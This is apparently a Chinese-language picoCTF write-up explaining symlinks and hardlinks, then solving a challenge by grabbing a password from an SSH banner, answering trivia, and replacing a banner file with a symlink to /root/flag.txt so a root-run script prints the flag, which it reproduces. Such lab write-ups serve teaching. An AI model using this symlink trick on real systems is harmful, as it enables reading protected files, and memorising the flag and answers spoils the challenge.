看到題目,題目首先告訴我們可以使用 banner 來解決這題。
並且在 port 60206 給予我們一些重要資訊,然後希望我們藉由這個資訊找到 port 56143 的 webshell 中 /root 底下的 flag。
hint 1:Do you know about symlinks?
hint 2:Maybe some small password cracking or guessing
在開始解題前,先來概述一下什麼是 symlinks。
symlink 也稱為 softlink,是文件系統中的一種特殊類型的文件,它會指向另一個文件或目錄的路徑,是類似於快捷方式的功能,在 Unix 中 建立 softlink 的指令如下。
ln -s <target> <link_name>
相對應還有一種 link 稱為 hardlink,和 symlinks 的差別最主要是 hardlink 並不是直接指向一個路徑,而是指向對應的 data block,在 Unix 中 建立 hardlink的指令如下。
ln <target> <link_name>
回到題目,首先連上題目給予的網址,會發現首先出現了一個 banner,再來是輸入密碼的 prompt。
$ nc tethys.picoctf.net 56143
*************************************
**************WELCOME****************
*************************************
what is the password?
123
Lol, good try, try again and good luck
我們先連上題目給的另一個網址,因為我們知道其中提供重要的資訊,連上檢視,發現有給予密碼。
$ nc tethys.picoctf.net 60206
SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234
Protocol mismatch.
我們嘗試使用這組密碼作為 port 56143 webshell 的密碼,發現可行。
接著會出現兩個問題,我們 google 一下,得到正確答案,便可進入官網的 shell 。
$ nc tethys.picoctf.net 56143
*************************************
**************WELCOME****************
*************************************
what is the password?
My_Passw@rd_@1234
What is the top cyber security conference in the world?
DEF CON
the first hacker ever was known for phreaking(making free phone calls), who was it?
John Draper
先用 ls -l
,檢視 shell 中有什麼檔案。看到有 banner 和 text。
$ ls -l
ls -l
total 8
-rw-r--r-- 1 player player 114 Feb 7 17:25 banner
-rw-r--r-- 1 root root 13 Feb 7 17:25 text
使用 cat
指令,查看 banner 和 text 裡有甚麼資訊。發現 text 中有 keep digging 的提示。
$ cat banner
cat banner
*************************************
**************WELCOME****************
*************************************
$ cat text
cat text
keep digging
於是我們查詢 text 所屬的 root 群組,發現 有 script.py 和 flag 在裡面。
$ ls -l /root
ls -l /root
total 8
-rwx------ 1 root root 46 Mar 9 16:39 flag.txt
-rw-r--r-- 1 root root 1317 Feb 7 17:25 script.py
先來看一下 root 裡的 script.py,知道這是連上網站後會執行的檔案,並且發現一開始會先讀取 banner 這個檔案。
$ cat /root/script.py
cat /root/script.py
import os
import pty
incorrect_ans_reply = "Lol, good try, try again and good luck\n"
if __name__ == "__main__":
try:
with open("/home/player/banner", "r") as f:
print(f.read())
except:
print("*********************************************")
print("***************DEFAULT BANNER****************")
print("*Please supply banner in /home/player/banner*")
print("*********************************************")
try:
request = input("what is the password? \n").upper()
while request:
if request == 'MY_PASSW@RD_@1234':
text = input("What is the top cyber security conference in the world?\n").upper()
if text == 'DEFCON' or text == 'DEF CON':
output = input(
"the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
scmd = 'su - player'
pty.spawn(scmd.split(' '))
else:
print(incorrect_ans_reply)
else:
print(incorrect_ans_reply)
else:
print(incorrect_ans_reply)
break
except:
KeyboardInterrupt
再來試著檢視 flag.txt ,發現沒有辦法開啟,使用 chmod 也沒有辦法更改權限。於是想起題目給的 hint,使用 symlinks 以及 banner。
$ cat /root/flag.txt
cat /root/flag.txt
cat: /root/flag.txt: Permission denied
$ chmod +x /root/flag.txt
chmod +x /root/flag.txt
chmod: changing permissions of '/root/flag.txt': Operation not permitted
當連上網址時,會先開啟 script.py,而其會讀取 banner 這個檔案,於是我們先將原本的 banner 移除,再使用 symlinks 連接新的 banner 和 /root/flag.txt。
可以看到如果 symlinks 建立成功,原本的 banner
會變成 banner -> /root/flag.txt
。
您可以嘗試 cat banner
,因為 symlinks 只是一種捷徑的概念,並不會更改到指向檔案的權限,所以仍是無法開啟的狀況。
$ rm banner
rm banner
$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner
$ ls -l
ls -l
total 4
lrwxrwxrwx 1 player player 14 Aug 3 14:43 banner -> /root/flag.txt
-rw-r--r-- 1 root root 13 Feb 7 17:25 text
$ cat banner
cat banner
cat: banner: Permission denied
symlinks 建立成功,重新連上網址後,就會出現 flag 了。
$ nc tethys.picoctf.net 56143
picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_68ca8b23}
what is the password?
小結:
概略了解 symlinks 和 hardlink。